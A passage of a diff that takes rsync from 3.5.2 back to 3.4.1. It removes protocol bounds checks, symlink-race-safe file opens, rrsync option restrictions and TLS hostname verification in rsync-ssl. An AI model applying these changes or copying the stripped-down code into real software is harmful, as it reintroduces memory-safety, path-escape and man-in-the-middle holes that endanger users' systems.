restore_errno;\n-\t}\n-\terrno = open_errno;\n-\treturn fd;\n-\n-  failed:\n-\topen_errno = errno;\n-\tif (cfd >= 0)\n-\t\tclose(cfd);\n-\terrno = open_errno;\n-\treturn -1;\n-}\n-\n /* get_tmpname() - create a tmp filename for a given filename\n  *\n  * If a tmpdir is defined, use that as the directory to put it in.  Otherwise,\n@@ -431,24 +214,7 @@ int open_tmpfile(char *fnametmp, const char *fname, struct file_struct *file)\n \t * access to ensure that there is no race condition.  They will be\n \t * correctly updated after the right owner and group info is set.\n \t * (Thanks to snabb@epipe.fi for pointing this out.) */\n-\t/* For any non-chrooted receiver (secure_relpath_active()), create the\n-\t * temp file securely so a parent-symlink race can't redirect it.  When\n-\t * the temp lives in the entry's own dir (the common case, no --temp-dir)\n-\t * use the cached held dir fd; otherwise fall back to secure_mkstemp.  An\n-\t * operator-supplied --temp-dir (tmpdir) gets the ownership-walk resolver\n-\t * (it may legitimately point outside the tree); the deep-entry-dir fallback,\n-\t * when the held-dirfd cache declines, gets the strict transfer-path one. */\n-\tif (secure_relpath_active()) {\n-\t\tint dfd = held_dfd_for(fnametmp, file);\n-\t\tif (dfd >= 0) {\n-\t\t\tchar *slash = strrchr(fnametmp, '/');\n-\t\t\tfd = do_mkstemp_atfd(dfd, slash ? slash + 1 : fnametmp,\n-\t\t\t\t\t     (file->mode|added_perms) & INITACCESSPERMS);\n-\t\t} else\n-\t\t\tfd = secure_mkstemp(fnametmp, (file->mode|added_perms) & INITACCESSPERMS,\n-\t\t\t\t\t    tmpdir != NULL);\n-\t} else\n-\t\tfd = do_mkstemp(fnametmp, (file->mode|added_perms) & INITACCESSPERMS);\n+\tfd = do_mkstemp(fnametmp, (file->mode|added_perms) & INITACCESSPERMS);\n \n #if 0\n \t/* In most cases parent directories will already exist because their\n@@ -485,9 +251,6 @@ static int receive_data(int f_in, char *fname_r, int fd_r, OFF_T size_r,\n \tint32 i;\n \tchar *map = NULL;\n \n-\t/* Reset the block tracker's per-file state in case the OS reuses an fd. */\n-\treset_block_tracker();\n-\n #ifdef SUPPORT_PREALLOCATION\n \tif (preallocate_files && fd != -1 && total_size > 0 && (!inplace_sizing || total_size > size_r)) {\n \t\t/* Try to preallocate enough space for file's eventual length.  Can\n@@ -549,12 +312,7 @@ static int receive_data(int f_in, char *fname_r, int fd_r, OFF_T size_r,\n \t\t}\n \t}\n \n-\twhile (1) {\n-\t\tdata = NULL;\n-\t\ti = recv_token(f_in, &data);\n-\t\tif (i == 0)\n-\t\t\tbreak;\n-\n+\twhile ((i = recv_token(f_in, &data)) != 0) {\n \t\tif (INFO_GTE(PROGRESS, 1))\n \t\t\tshow_progress(offset, total_size);\n \n@@ -562,10 +320,6 @@ static int receive_data(int f_in, char *fname_r, int fd_r, OFF_T size_r,\n \t\t\tmaybe_send_keepalive(time(NULL), MSK_ALLOW_FLUSH | MSK_ACTIVE_RECEIVER);\n \n \t\tif (i > 0) {\n-\t\t\tif (!data) {\n-\t\t\t\trprintf(FERROR, \"Invalid literal token with no data [%s]\\n\", who_am_i());\n-\t\t\t\texit_cleanup(RERR_PROTOCOL);\n-\t\t\t}\n \t\t\tif (DEBUG_GTE(DELTASUM, 3)) {\n \t\t\t\trprintf(FINFO,\"data recv %d at %s\\n\",\n \t\t\t\t\ti, big_num(offset));\n@@ -583,11 +337,6 @@ static int receive_data(int f_in, char *fname_r, int fd_r, OFF_T size_r,\n \t\t}\n \n \t\ti = -(i+1);\n-\t\tif (i < 0 || i >= sum.count) {\n-\t\t\trprintf(FERROR, \"Invalid block index %d (count=%ld) [%s]\\n\",\n-\t\t\t\ti, (long)sum.count, who_am_i());\n-\t\t\texit_cleanup(RERR_PROTOCOL);\n-\t\t}\n \t\toffset2 = i * (OFF_T)sum.blength;\n \t\tlen = sum.blength;\n \t\tif (i == (int)sum.count-1 && sum.remainder != 0)\n@@ -595,34 +344,6 @@ static int receive_data(int f_in, char *fname_r, int fd_r, OFF_T size_r,\n \n \t\tstats.matched_data += len;\n \n-\t\t/* A block match with no mapped basis is a protocol inconsistency\n-\t\t * ONLY when we are actually producing output (fd != -1): the\n-\t\t * generator told the sender a basis existed but the receiver could\n-\t\t * not open it, so honoring the match would silently omit these\n-\t\t * bytes from the verification checksum (a spurious failure) or\n-\t\t * leave a hole in the output. Fail cleanly in that case.\n-\t\t *\n-\t\t * On the DISCARD path (fd == -1, fname == NULL) there is no output\n-\t\t * and no verification: discard_receive_data() deliberately drains a\n-\t\t * delta the receiver never intends to write (basis fstat failed,\n-\t\t * basis is a directory, output open failed, batch skip, ...). The\n-\t\t * sender does not know the data is being discarded and streams an\n-\t\t * ordinary delta, so a match token here is NORMAL protocol, not\n-\t\t * malformed. Absorb it benignly (advance the offset and continue),\n-\t\t * as the pre-existing \"if (mapbuf)\" guards did before this check was\n-\t\t * added in 31fbb17d -- erroring would wrongly break legitimate\n-\t\t * transfers, and full_fname(fname) with fname==NULL would\n-\t\t * dereference NULL (a receiver crash on a normal transfer). */\n-\t\tif (!mapbuf) {\n-\t\t\tif (fd != -1) {\n-\t\t\t\trprintf(FERROR, \"got a block match with no basis file for %s [%s]\\n\",\n-\t\t\t\t\tfull_fname(fname), who_am_i());\n-\t\t\t\texit_cleanup(RERR_PROTOCOL);\n-\t\t\t}\n-\t\t\toffset += len;\n-\t\t\tcontinue;\n-\t\t}\n-\n \t\tif (DEBUG_GTE(DELTASUM, 3)) {\n \t\t\trprintf(FINFO,\n \t\t\t\t\"chunk[%d] of size %ld at %s offset=%s%s\\n\",\n@@ -714,15 +435,8 @@ static void handle_delayed_updates(char *local_name)\n \t\t\t\t\tpartialptr, fname);\n \t\t\t}\n \t\t\t/* We don't use robust_rename() here because the\n-\t\t\t * partial-dir must be on the same drive.  Resolve the\n-\t\t\t * --partial-dir source through the exclude-aware ownership\n-\t\t\t * walk so a symlinked partial-dir can't move a file out of\n-\t\t\t * an excluded subtree. */\n-\t\t\tint rret;\n-\t\t\toperator_path_resolve = 1;\n-\t\t\trret = do_rename_at(partialptr, fname);\n-\t\t\toperator_path_resolve = 0;\n-\t\t\tif (rret < 0) {\n+\t\t\t * partial-dir must be on the same drive. */\n+\t\t\tif (do_rename(partialptr, fname) < 0) {\n \t\t\t\trsyserr(FERROR_XFER, errno,\n \t\t\t\t\t\"rename failed for %s (from %s)\",\n \t\t\t\t\tfull_fname(fname), partialptr);\n@@ -738,10 +452,7 @@ static void handle_delayed_updates(char *local_name)\n static void no_batched_update(int ndx, BOOL is_redo)\n {\n \tstruct file_list *flist = flist_for_ndx(ndx, \"no_batched_update\");\n-\tstruct file_struct *file;\n-\tif (ndx < flist->ndx_start)\n-\t\texit_cleanup(RERR_PROTOCOL);\n-\tfile = flist->files[ndx - flist->ndx_start];\n+\tstruct file_struct *file = flist->files[ndx - flist->ndx_start];\n \n \trprintf(FERROR_XFER, \"(No batched update for%s \\\"%s\\\")\\n\",\n \t\tis_redo ? \" resend of\" : \"\", f_name(file, NULL));\n@@ -827,8 +538,7 @@ int recv_files(int f_in, int f_out, char *local_name)\n #ifdef SUPPORT_ACLS\n \tconst char *parent_dirname = \"\";\n #endif\n-\tint ndx, recv_ok, one_inplace, write_to_device;\n-\tmode_t write_devices_saved_mode = 0;\n+\tint ndx, recv_ok, one_inplace;\n \n \tif (DEBUG_GTE(RECV, 1))\n \t\trprintf(FINFO, \"recv_files(%d) starting\\n\", cur_flist->used);\n@@ -879,22 +589,8 @@ int recv_files(int f_in, int f_out, char *local_name)\n \n \t\tif (ndx - cur_flist->ndx_start >= 0)\n \t\t\tfile = cur_flist->files[ndx - cur_flist->ndx_start];\n-\t\telse if (cur_flist->parent_ndx < 0\n-\t\t      || cur_flist->parent_ndx >= dir_flist->used)\n-\t\t\texit_cleanup(RERR_PROTOCOL);\n \t\telse\n \t\t\tfile = dir_flist->files[cur_flist->parent_ndx];\n-\t\tif (!F_IS_ACTIVE(file)) {\n-\t\t\t/* A peer that sends duplicate file-list entries gets\n-\t\t\t * one of them clear_file()'d by flist_sort_and_clean();\n-\t\t\t * referencing that slot here yields fname == NULL and\n-\t\t\t * a crash in the first deref (daemon filter check,\n-\t\t\t * set_file_attrs → full_fname, …). */\n-\t\t\trprintf(FERROR,\n-\t\t\t\t\"rsync: refusing transfer of cleared file index %d\\n\",\n-\t\t\t\tndx);\n-\t\t\texit_cleanup(RERR_PROTOCOL);\n-\t\t}\n \t\tfname = local_name ? local_name : f_name(file, fbuf);\n \n \t\tif (DEBUG_GTE(RECV, 1))\n@@ -1072,55 +768,8 @@ int recv_files(int f_in, int f_out, char *local_name)\n \t\t\t\tfnamecmp = fname;\n \t\t}\n \n-\t\t/* Open the delta basis.  When it lives in the entry's own dir (no\n-\t\t * alternate basedir), read it via the held dir fd with O_NOFOLLOW: a\n-\t\t * regular-file basis is never legitimately a symlink, and refusing a\n-\t\t * planted one avoids both an escape and a basis-content info-leak.\n-\t\t * Otherwise use secure_basis_open, which also tolerates an operator-\n-\t\t * trusted absolute fnamecmp (e.g. an absolute --partial-dir basis). */\n-\t\t{\n-\t\t\tint bdfd;\n-\t\t\tif (fnamecmp_type == FNAMECMP_PARTIAL_DIR\n-\t\t\t && fnamecmp && *fnamecmp != '/') {\n-\t\t\t\t/* The relative partial path contains peer-derived directory\n-\t\t\t\t * components.  It is not an operator-trusted path as a whole. */\n-\t\t\t\tfd1 = secure_relative_open(NULL, fnamecmp, O_RDONLY, 0);\n-\t\t\t} else if (!basedir && (bdfd = held_dfd_for(fnamecmp, file)) >= 0) {\n-\t\t\t\tconst char *slash;\n-\t\t\t\tassert(fnamecmp != NULL); /* set on every path above */\n-\t\t\t\tslash = strrchr(fnamecmp, '/');\n-\t\t\t\tfd1 = do_open_atfd(bdfd, slash ? slash + 1 : fnamecmp, O_RDONLY, 0);\n-\t\t\t} else {\n-\t\t\t\t/* An operator-supplied basis -- a --partial-dir, or an\n-\t\t\t\t * alt-dest basedir (--copy-dest/--compare-dest/--link-dest) --\n-\t\t\t\t * is a peer/operator path: resolve it with the exclude-aware\n-\t\t\t\t * ownership walk so a flipped foreign-owned parent symlink can't\n-\t\t\t\t * read (and feed back as delta) an out-of-tree / excluded file.\n-\t\t\t\t * The walk still allows the legitimate \"../sibling\" basis (#915)\n-\t\t\t\t * and the operator's own uid0/euid symlinks.  A daemon keeps its\n-\t\t\t\t * stronger confinement branch in secure_basis_open(), so only\n-\t\t\t\t * route the alt-dest basedir read through the walk off-daemon. */\n-\t\t\t\tif ((basedir && !am_daemon) || fnamecmp_type == FNAMECMP_PARTIAL_DIR)\n-\t\t\t\t\toperator_path_resolve = 1;\n-\t\t\t\tfd1 = secure_basis_open(basedir, fnamecmp, O_RDONLY, 0);\n-\t\t\t\toperator_path_resolve = 0;\n-\t\t\t}\n-\t\t}\n-\t\tif (fnamecmp_type == FNAMECMP_PARTIAL_DIR && fd1 == -1) {\n-\t\t\t/* The sender may claim a partial basis even when the generator's\n-\t\t\t * confined lookup rejected it.  Drop that path as the delta basis\n-\t\t\t * and in-place output target.  A daemon that negotiated in-place\n-\t\t\t * partial updates rejects the unsafe peer option; otherwise (a pre-30\n-\t\t\t * peer, where no in-place partial redirect is possible, or a pull\n-\t\t\t * client) fall back to a safe no-basis update. */\n-\t\t\tif (am_daemon && inplace_partial) {\n-\t\t\t\trprintf(FERROR,\n-\t\t\t\t\t\"rsync: refusing unconfined partial basis for %s\\n\", fname);\n-\t\t\t\texit_cleanup(RERR_PROTOCOL);\n-\t\t\t}\n-\t\t\tfnamecmp = fname;\n-\t\t\tfnamecmp_type = FNAMECMP_FNAME;\n-\t\t}\n+\t\t/* open the file */\n+\t\tfd1 = secure_relative_open(basedir, fnamecmp, O_RDONLY, 0);\n \n \t\tif (fd1 == -1 && protocol_version < 29) {\n \t\t\tif (fnamecmp != fname) {\n@@ -1134,10 +783,7 @@ int recv_files(int f_in, int f_out, char *local_name)\n \t\t\t\tbasedir = basis_dir[0];\n \t\t\t\tfnamecmp = fname;\n \t\t\t\tfnamecmp_type = FNAMECMP_BASIS_DIR_LOW;\n-\t\t\t\tif (!am_daemon)\n-\t\t\t\t\toperator_path_resolve = 1;\n-\t\t\t\tfd1 = secure_basis_open(basedir, fnamecmp, O_RDONLY, 0);\n-\t\t\t\toperator_path_resolve = 0;\n+\t\t\t\tfd1 = secure_relative_open(basedir, fnamecmp, O_RDONLY, 0);\n \t\t\t}\n \t\t}\n \n@@ -1148,11 +794,7 @@ int recv_files(int f_in, int f_out, char *local_name)\n \t\t\tfnamecmp = fnamecmpbuf;\n \t\t}\n \n-\t\t/* A peer's basis selector cannot enable direct output through a path\n-\t\t * that the confined basis open did not validate. */\n-\t\tone_inplace = inplace_partial && partial_dir\n-\t\t\t   && fnamecmp_type == FNAMECMP_PARTIAL_DIR\n-\t\t\t   && fd1 != -1;\n+\t\tone_inplace = inplace_partial && fnamecmp_type == FNAMECMP_PARTIAL_DIR;\n \t\tupdating_basis_or_equiv = one_inplace\n \t\t    || (inplace && (fnamecmp == fname || fnamecmp_type == FNAMECMP_BACKUP));\n \n@@ -1184,10 +826,11 @@ int recv_files(int f_in, int f_out, char *local_name)\n \t\t\tcontinue;\n \t\t}\n \n-\t\twrite_to_device = write_devices && IS_DEVICE(st.st_mode);\n-\t\tif (write_to_device) {\n+\t\tif (write_devices && IS_DEVICE(st.st_mode)) {\n \t\t\tif (fd1 != -1 && st.st_size == 0)\n \t\t\t\tst.st_size = get_device_size(fd1, fname);\n+\t\t\t/* Mark the file entry as a device so that we don't try to truncate it later on. */\n+\t\t\tfile->mode = S_IFBLK | (file->mode & ACCESSPERMS);\n \t\t} else if (fd1 != -1 && !(S_ISREG(st.st_mode))) {\n \t\t\tclose(fd1);\n \t\t\tfd1 = -1;\n@@ -1211,34 +854,13 @@ int recv_files(int f_in, int f_out, char *local_name)\n \t\t/* We now check to see if we are writing the file \"inplace\" */\n \t\tif (inplace || one_inplace)  {\n \t\t\tfnametmp = one_inplace ? partialptr : fname;\n-\t\t\t/* For any non-chrooted receiver (secure_relpath_active()),\n-\t\t\t * use secure open to prevent symlink race attacks where an\n-\t\t\t * attacker could switch a directory to a symlink between\n-\t\t\t * path validation and file open. */\n-\t\t\t/* one_inplace stages into the operator/peer --partial-dir path:\n-\t\t\t * resolve it with the ownership walk (exclude-aware) so it can't be\n-\t\t\t * redirected through a symlink into an excluded subtree. */\n-\t\t\tif (secure_relpath_active())\n-\t\t\t\tfd2 = secure_recv_open(fnametmp, O_WRONLY|O_CREAT, 0600,\n-\t\t\t\t\t\t      one_inplace);\n-\t\t\telse\n-\t\t\t\tfd2 = do_open(fnametmp, O_WRONLY|O_CREAT, 0600);\n+\t\t\tfd2 = do_open(fnametmp, O_WRONLY|O_CREAT, 0600);\n #ifdef linux\n \t\t\tif (fd2 == -1 && errno == EACCES) {\n \t\t\t\t/* Maybe the error was due to protected_regular setting? */\n-\t\t\t\tif (use_secure_symlinks || one_inplace)\n-\t\t\t\t\tfd2 = secure_recv_open(fnametmp, O_WRONLY, 0600,\n-\t\t\t\t\t\t\t      one_inplace);\n-\t\t\t\telse\n-\t\t\t\t\tfd2 = do_open(fnametmp, O_WRONLY, 0600);\n+\t\t\t\tfd2 = do_open(fname, O_WRONLY, 0600);\n \t\t\t}\n #endif\n-\t\t\tif (fd2 == -1 && errno == EACCES) {\n-\t\t\t\t/* Temporarily add owner-write access only long enough to open\n-\t\t\t\t * a writable descriptor; the helper restores the old mode\n-\t\t\t\t * before any network data is consumed, including on failure. */\n-\t\t\t\tfd2 = open_readonly_inplace(fnametmp, one_inplace);\n-\t\t\t}\n \t\t\tif (fd2 == -1) {\n \t\t\t\trsyserr(FERROR_XFER, errno, \"open %s failed\",\n \t\t\t\t\tfull_fname(fnametmp));\n@@ -1266,27 +888,9 @@ int recv_files(int f_in, int f_out, char *local_name)\n \t\telse if (!am_server && INFO_GTE(NAME, 1) && INFO_EQ(PROGRESS, 1))\n \t\t\trprintf(FINFO, \"%s\\n\", fname);\n \n-\t\t/* --write-devices writes a regular source file's content into an\n-\t\t * existing destination device.  Flip file->mode to S_IFBLK just for\n-\t\t * receive_data()'s ftruncate gate (!IS_DEVICE), then restore it right\n-\t\t * after -- the file_struct was built as a regular file with no\n-\t\t * DEV_EXTRA_CNT, so leaving it S_IFBLK would make set_stat_xattr's\n-\t\t * F_RDEV_P() read past the allocation.  Kept tight here (after the\n-\t\t * pre-transfer log and the fd2 bail-out) so no continue skips the\n-\t\t * restore and dest_mode() above ran on the real mode. */\n-\t\tif (write_to_device) {\n-\t\t\twrite_devices_saved_mode = file->mode;\n-\t\t\tfile->mode = S_IFBLK | (file->mode & ACCESSPERMS);\n-\t\t}\n-\n \t\t/* recv file data */\n \t\trecv_ok = receive_data(f_in, fnamecmp, fd1, st.st_size, fname, fd2, file, inplace || one_inplace);\n \n-\t\tif (write_to_device) {\n-\t\t\tfile->mode = write_devices_saved_mode;\n-\t\t\twrite_devices_saved_mode = 0;\n-\t\t}\n-\n \t\tlog_item(log_code, file, iflags, NULL);\n \t\tif (want_progress_now)\n \t\t\tinstant_progress(fname);\n@@ -1305,14 +909,8 @@ int recv_files(int f_in, int f_out, char *local_name)\n \t\t\tif (!finish_transfer(fname, fnametmp, fnamecmp, partialptr, file, recv_ok, 1))\n \t\t\t\trecv_ok = -1;\n \t\t\telse if (fnamecmp == partialptr) {\n-\t\t\t\tif (!one_inplace) {\n-\t\t\t\t\t/* Unlink the consumed --partial-dir basis through the\n-\t\t\t\t\t * exclude-aware ownership walk (a symlinked partial-dir\n-\t\t\t\t\t * must not delete a file in an excluded subtree). */\n-\t\t\t\t\toperator_path_resolve = 1;\n-\t\t\t\t\tdo_unlink_at(partialptr);\n-\t\t\t\t\toperator_path_resolve = 0;\n-\t\t\t\t}\n+\t\t\t\tif (!one_inplace)\n+\t\t\t\t\tdo_unlink(partialptr);\n \t\t\t\thandle_partial_dir(partialptr, PDIR_DELETE);\n \t\t\t}\n \t\t} else if (keep_partial && partialptr && (!one_inplace || delay_updates)) {\n@@ -1321,7 +919,7 @@ int recv_files(int f_in, int f_out, char *local_name)\n \t\t\t\t\t\"Unable to create partial-dir for %s -- discarding %s.\\n\",\n \t\t\t\t\tlocal_name ? local_name : f_name(file, NULL),\n \t\t\t\t\trecv_ok ? \"completed file\" : \"partial file\");\n-\t\t\t\tdo_unlink_at(fnametmp);\n+\t\t\t\tdo_unlink(fnametmp);\n \t\t\t\trecv_ok = -1;\n \t\t\t} else if (!finish_transfer(partialptr, fnametmp, fnamecmp, NULL,\n \t\t\t\t\t\t    file, recv_ok, !partial_dir))\n@@ -1332,7 +930,7 @@ int recv_files(int f_in, int f_out, char *local_name)\n \t\t\t} else\n \t\t\t\tpartialptr = NULL;\n \t\t} else if (!one_inplace)\n-\t\t\tdo_unlink_at(fnametmp);\n+\t\t\tdo_unlink(fnametmp);\n \n \t\tcleanup_disable();\n \ndiff --git a/rrsync.1 b/rrsync.1\nindex ad2a768..f463f61 100644\n--- a/rrsync.1\n+++ b/rrsync.1\n@@ -1,4 +1,4 @@\n-.TH \"rrsync\" \"1\" \"4 Nov 2026\" \"rrsync from rsync 3.5.2\" \"User Commands\"\n+.TH \"rrsync\" \"1\" \"15 Jan 2025\" \"rrsync from rsync 3.4.1\" \"User Commands\"\n .\\\" prefix=/usr\n .P\n .SH \"NAME\"\n@@ -8,7 +8,7 @@ rrsync \\- a script to setup restricted rsync users via ssh logins\n .SH \"SYNOPSIS\"\n .P\n .nf\n-rrsync [-ro|-wo] [-munge] [-absolute] [-no-del] [-no-lock] [-no-overwrite] DIR\n+rrsync [-ro|-wo] [-munge] [-no-del] [-no-lock] [-no-overwrite]  DIR\n .fi\n .P\n The single non-option argument specifies the restricted \\fIDIR\\fP to use. It can be\n@@ -81,28 +81,14 @@ Allow only reading from the DIR. Implies \\fB\\-no-del\\fP and\n .IP \"\\fB\\-wo\\fP\"\n Allow only writing to the DIR.\n .IP \"\\fB\\-munge\\fP\"\n-Enable rsync's \\fB\\-\\-munge\\-links\\fP on the server side.\n-.IP \"\\fB\\-absolute\\fP\"\n-Allow file-transfer arguments to name the restricted directory using its\n-absolute server path. For example, with \\fBrrsync\\ \\-absolute\\ /path/to/root\\fP,\n-the transfer arg \\fB/path/to/root/dir1\\fP is accepted as an alias for \\fBdir1\\fP.\n+Enable rsync's \\fB\\-\\-munge-links\\fP on the server side.\n .IP \"\\fB\\-no-del\\fP\"\n Disable rsync's \\fB\\-\\-delete*\\fP and \\fB\\-\\-remove*\\fP options.\n .IP \"\\fB\\-no-lock\\fP\"\n Avoid the single-run (per-user) lock check.  Useful with \\fB\\-munge\\fP.\n .IP \"\\fB\\-no-overwrite\\fP\"\n-Enforce \\fB\\-\\-ignore\\-existing\\fP on the server. Prevents overwriting existing\n+Enforce \\fB\\-\\-ignore-existing\\fP on the server. Prevents overwriting existing\n files when the server is the receiver.\n-.IP\n-Because \\fB\\-\\-ignore\\-existing\\fP protects only the file being transferred, this\n-also refuses the options that can reach a \\fIdifferent\\fP existing file in the\n-restricted dir: \\fB\\-\\-log\\-file\\fP, \\fB\\-\\-partial\\-dir\\fP, \\fB\\-\\-delay\\-updates\\fP,\n-\\fB\\-\\-delay\\-symlinks\\fP (which creates its symlinks at the end of the transfer,\n-replacing whatever has appeared at that name since the check), and backup\n-mode (\\fB\\-b\\fP, \\fB\\-\\-backup\\-dir\\fP, whose published backup replaces whatever\n-already occupies the backup name). Resumable uploads with an explicit\n-\\fB\\-\\-partial\\-dir\\fP, \\fB\\-\\-delay\\-updates\\fP, \\fB\\-\\-delay\\-symlinks\\fP, and server-side\n-logging are therefore unavailable under this option.\n .IP \"\\fB\\-help\\fP, \\fB\\-h\\fP\"\n Output this help message and exit.\n .P\n@@ -111,13 +97,13 @@ Output this help message and exit.\n The rrsync script validates the path arguments it is sent to try to restrict\n them to staying within the specified DIR.\n .P\n-The rrsync script rejects rsync's \\fB\\-\\-copy\\-links\\fP option (by\n+The rrsync script rejects rsync's \\fB\\-\\-copy-links\\fP option (by\n default) so that a copy cannot dereference a symlink within the DIR to get to a\n file outside the DIR.\n .P\n-The rrsync script rejects rsync's \\fB\\-\\-protect\\-args\\fP (\\fB\\-s\\fP) option\n+The rrsync script rejects rsync's \\fB\\-\\-protect-args\\fP (\\fB\\-s\\fP) option\n because it would allow options to be sent to the server-side that the script\n-cannot check.  If you want to support \\fB\\-\\-protect\\-args\\fP, use a daemon-over-ssh\n+cannot check.  If you want to support \\fB\\-\\-protect-args\\fP, use a daemon-over-ssh\n setup.\n .P\n The rrsync script accepts just a subset of rsync's options that the real rsync\n@@ -125,10 +111,6 @@ uses when running the server command.  A few extra convenience options are also\n included to help it to interact with BackupPC and accept some convenient user\n overrides.\n .P\n-The \\fB\\-\\-nice\\fP option is limited to local CPU nice 19, idle\n-I/O priority or both.  Other values could raise the server process priority and\n-are rejected.\n-.P\n The script (or a copy of it) can be manually edited if you want it to customize\n the option handling.\n .P\n@@ -173,7 +155,7 @@ command=\"rrsync -ro results\" ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAmk...\n .P\n .SH \"VERSION\"\n .P\n-This manpage is current for version 3.5.2 of rsync.\n+This manpage is current for version 3.4.1 of rsync.\n .P\n .SH \"CREDITS\"\n .P\ndiff --git a/rrsync.1.html b/rrsync.1.html\nindex 95e74a0..f8faad1 100644\n--- a/rrsync.1.html\n+++ b/rrsync.1.html\n@@ -34,7 +34,7 @@ dd p:first-of-type {\n <h2 id=\"NAME\">NAME<a href=\"#NAME\" class=\"tgt\"></a></h2>\n <p>rrsync -&#8288; a script to setup restricted rsync users via ssh logins</p>\n <h2 id=\"SYNOPSIS\">SYNOPSIS<a href=\"#SYNOPSIS\" class=\"tgt\"></a></h2>\n-<pre><code>rrsync [-ro|-wo] [-munge] [-absolute] [-no-del] [-no-lock] [-no-overwrite] DIR\n+<pre><code>rrsync [-ro|-wo] [-munge] [-no-del] [-no-lock] [-no-overwrite]  DIR\n </code></pre>\n <p>The single non-option argument specifies the restricted <u>DIR</u> to use. It can be\n relative to the user's home directory or an absolute path.</p>\n@@ -96,12 +96,6 @@ file, each one with its own path setting.</p>\n <p>Enable rsync's <a href=\"rsync.1#opt--munge-links\"><code>--munge-links</code></a> on the server side.</p>\n </dd>\n \n-<dt id=\"opt-absolute\"><code>-absolute</code><a href=\"#opt-absolute\" class=\"tgt\"></a></dt><dd>\n-<p>Allow file-transfer arguments to name the restricted directory using its\n-absolute server path. For example, with <code>rrsync -absolute /path/to/root</code>,\n-the transfer arg <code>/path/to/root/dir1</code> is accepted as an alias for <code>dir1</code>.</p>\n-</dd>\n-\n <dt id=\"opt-no-del\"><code>-no-del</code><a href=\"#opt-no-del\" class=\"tgt\"></a></dt><dd>\n <p>Disable rsync's <code>--delete*</code> and <code>--remove*</code> options.</p>\n </dd>\n@@ -113,15 +107,6 @@ the transfer arg <code>/path/to/root/dir1</code> is accepted as an alias for <co\n <dt id=\"opt-no-overwrite\"><code>-no-overwrite</code><a href=\"#opt-no-overwrite\" class=\"tgt\"></a></dt><dd>\n <p>Enforce <code>--ignore-existing</code> on the server. Prevents overwriting existing\n files when the server is the receiver.</p>\n-<p>Because <code>--ignore-existing</code> protects only the file being transferred, this\n-also refuses the options that can reach a <u>different</u> existing file in the\n-restricted dir: <code>--log-file</code>, <code>--partial-dir</code>, <code>--delay-updates</code>,\n-<code>--delay-symlinks</code> (which creates its symlinks at the end of the transfer,\n-replacing whatever has appeared at that name since the check), and backup\n-mode (<code>-b</code>, <code>--backup-dir</code>, whose published backup replaces whatever\n-already occupies the backup name). Resumable uploads with an explicit\n-<code>--partial-dir</code>, <code>--delay-updates</code>, <code>--delay-symlinks</code>, and server-side\n-logging are therefore unavailable under this option.</p>\n </dd>\n \n <span id=\"opt-h\"></span><dt id=\"opt-help\"><code>-help</code>, <code>-h</code><a href=\"#opt-help\" class=\"tgt\"></a></dt><dd>\n@@ -142,9 +127,6 @@ setup.</p>\n uses when running the server command.  A few extra convenience options are also\n included to help it to interact with BackupPC and accept some convenient user\n overrides.</p>\n-<p>The <a href=\"rsync.1#opt--nice\"><code>--nice</code></a> option is limited to local CPU nice 19, idle\n-I/O priority or both.  Other values could raise the server process priority and\n-are rejected.</p>\n <p>The script (or a copy of it) can be manually edited if you want it to customize\n the option handling.</p>\n <h2 id=\"BASH_SECURITY_ISSUE\">BASH SECURITY ISSUE<a href=\"#BASH_SECURITY_ISSUE\" class=\"tgt\"></a></h2>\n@@ -174,7 +156,7 @@ command=&quot;rrsync -ro results&quot; ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAmk...\n <h2 id=\"SEE_ALSO\">SEE ALSO<a href=\"#SEE_ALSO\" class=\"tgt\"></a></h2>\n <p><a href=\"rsync.1\"><strong>rsync</strong>(1)</a>, <a href=\"rsyncd.conf.5\"><strong>rsyncd.conf</strong>(5)</a></p>\n <h2 id=\"VERSION\">VERSION<a href=\"#VERSION\" class=\"tgt\"></a></h2>\n-<p>This manpage is current for version 3.5.2 of rsync.</p>\n+<p>This manpage is current for version 3.4.1 of rsync.</p>\n <h2 id=\"CREDITS\">CREDITS<a href=\"#CREDITS\" class=\"tgt\"></a></h2>\n <p>rsync is distributed under the GNU General Public License.  See the file\n <a href=\"COPYING\">COPYING</a> for details.</p>\n@@ -183,5 +165,5 @@ project is <a href=\"https://github.com/RsyncProject/rsync\">https://github.com/Rs\n <h2 id=\"AUTHOR\">AUTHOR<a href=\"#AUTHOR\" class=\"tgt\"></a></h2>\n <p>The original rrsync perl script was written by Joe Smith.  Many people have\n later contributed to it.  The python version was created by Wayne Davison.</p>\n-<div style=\"float: right\"><p><i>4 Nov 2026</i></p></div>\n+<div style=\"float: right\"><p><i>15 Jan 2025</i></p></div>\n </body></html>\ndiff --git a/rsync-ssl b/rsync-ssl\nindex a829387..56ee7df 100755\n--- a/rsync-ssl\n+++ b/rsync-ssl\n@@ -26,7 +26,7 @@ function rsync_ssl_run {\n \t;;\n     esac\n \n-    exec rsync --rsh=\"'$0' --HELPER\" \"${@}\"\n+    exec rsync --rsh=\"$0 --HELPER\" \"${@}\"\n }\n \n function rsync_ssl_helper {\n@@ -90,9 +90,6 @@ function rsync_ssl_helper {\n \t# openssl:\n \tcaopt=\"-verify_return_error -verify 4\"\n \t# gnutls:\n-\t# gnutls-cli has no reliable \"use the system trust store AND make\n-\t# verification fatal\" switch across versions, so the gnutls path\n-\t# refuses below unless RSYNC_SSL_ALLOW_INSECURE_GNUTLS is set.\n \tgnutls_opts=\"\"\n \t# stunnel:\n \t# Since there is no way of using the default CA certificate collection,\n@@ -138,59 +135,26 @@ function rsync_ssl_helper {\n \techo \"Usage: rsync-ssl --HELPER HOSTNAME rsync --server --daemon .\" 1>&2\n \texit 1\n     fi\n-    validate_ssl_hostname \"$hostname\"\n-\n-    if [[ $RSYNC_SSL_TYPE == stunnel && -z ${RSYNC_SSL_CA_CERT+x} && \"$RSYNC_SSL_ALLOW_INSECURE_STUNNEL\" != 1 ]]; then\n-\techo \"stunnel requires RSYNC_SSL_CA_CERT for server certificate validation (or set RSYNC_SSL_ALLOW_INSECURE_STUNNEL=1 to opt out)\" 1>&2\n-\texit 1\n-    fi\n-\n-    # Bind the server certificate to the requested host (openssl -verify_hostname,\n-    # stunnel checkHost) so a cert that is CA-valid for a *different* name can't be\n-    # used to MITM. Set RSYNC_SSL_SKIP_HOSTNAME_CHECK=1 to keep CA chain\n-    # verification but skip the identity check (e.g. bare-IP or internal-CA setups).\n-    # checkHost only applies while the chain is being verified.\n-    openssl_host_opt=\"-verify_hostname $hostname\"\n-    stunnel_host_opt=\"\"\n-    [[ \"$verify\" == \"verifyChain = yes\" ]] && 